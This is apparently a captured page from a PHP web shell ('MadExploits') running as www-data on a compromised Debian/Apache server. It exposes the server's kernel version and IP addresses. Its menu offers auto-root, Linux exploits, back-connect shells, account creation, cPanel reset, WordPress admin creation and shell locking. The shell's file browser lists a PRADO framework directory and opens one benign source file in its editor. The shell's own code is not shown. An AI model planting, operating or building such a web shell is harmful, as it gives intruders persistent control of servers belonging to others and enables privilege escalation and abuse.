Linux polon 4.19.0-27-amd64 #1 SMP Debian 4.19.316-1 (2024-06-25) x86_64
Apache/2.4.59 (Debian)
: 10.2.73.233 | : 18.119.248.48
Cant Read [ /etc/named.conf ]
5.6.40-64+0~20230107.71+debian10~1.gbp673146
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
ifk /
web /
prado4.3.2 /
Util /
Behaviors /
[ HOME SHELL ]
Name
Size
Permission
Action
TBehaviorParameterLoader.php
9.54
KB
-rw-r--r--
TMapLazyLoadBehavior.php
1.78
KB
-rw-r--r--
TMapRouteBehavior.php
3.46
KB
-rw-r--r--
TPageGlobalizationCharsetBehav...
2.22
KB
-rw-r--r--
TPageNoCacheBehavior.php
2.6
KB
-rw-r--r--
TPageTopAnchorBehavior.php
1.64
KB
-rw-r--r--
TParameterizeBehavior.php
8
KB
-rw-r--r--
TTimeZoneParameterBehavior.php
3.74
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : TPageGlobalizationCharsetBehavior.php
<?php /** * TPageGlobalizationCharsetBehavior class file. * * @author Brad Anderson <belisoful@icloud.com> * @link https://github.com/pradosoft/prado * @license https://github.com/pradosoft/prado/blob/master/LICENSE */ namespace Prado\Util\Behaviors; use Prado\Prado; use Prado\TPropertyValue; use Prado\Web\UI\WebControls\TMetaTag; /** * TPageGlobalizationCharsetBehavior class. * * TPageGlobalizationCharsetBehavior attaches to pages and adds charset * meta to the head from globalization. If there is no globalization, * the default charset is used, 'utf-8'. * @author Brad Anderson <belisoful@icloud.com> * @since 4.2.0 */ class TPageGlobalizationCharsetBehavior extends \Prado\Util\TBehavior { /** @var bool check the existing meta tags for the charset before adding it */ private $_checkMetaCharset = false; /** * This handles the TPage.OnInitComplete event to place no-cache * meta in the head. * @return array of events as keys and methods as values */ public function events() { return ['OnInitComplete' => 'addCharsetMeta']; } /** * This method places no-cache meta in the head. * @param object $page object raising the event * @param mixed $param the parameter of the raised event */ public function addCharsetMeta($page, $param) { if ($head = $page->getHead()) { $hasCharset = false; $metatags = $head->getMetaTags(); if ($this->_checkMetaCharset) { foreach ($metatags as $meta) { if (empty($meta->getHttpEquiv()) && empty($meta->getContent()) && empty($meta->getName()) && empty($meta->getScheme()) && !empty($meta->getCharset())) { $hasCharset = true; } } } if (!$hasCharset) { $charset = 'utf-8'; if ($globalization = Prado::getApplication()->getGlobalization()) { $charset = $globalization->getCharset(); } $meta = new TMetaTag(); $meta->setCharset($charset); $metatags->add($meta); } } } /** * @return bool checks existing meta tags for no cache */ public function getCheckMetaCharset() { return $this->_checkMetaCharset; } /** * @param bool $value checks existing meta tags for no cache */ public function setCheckMetaCharset($value) { $this->_checkMetaCharset = TPropertyValue::ensureBoolean($value); } }
Close